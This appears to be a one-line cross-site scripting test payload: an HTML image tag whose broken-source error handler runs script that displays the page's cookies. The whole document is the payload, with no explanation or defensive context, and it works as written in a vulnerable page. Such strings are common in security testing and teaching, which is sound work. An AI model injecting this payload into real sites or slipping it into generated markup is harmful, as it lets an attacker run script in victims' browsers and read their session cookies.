<img src="http://google.co.in" onerror=alert(document.cookie);>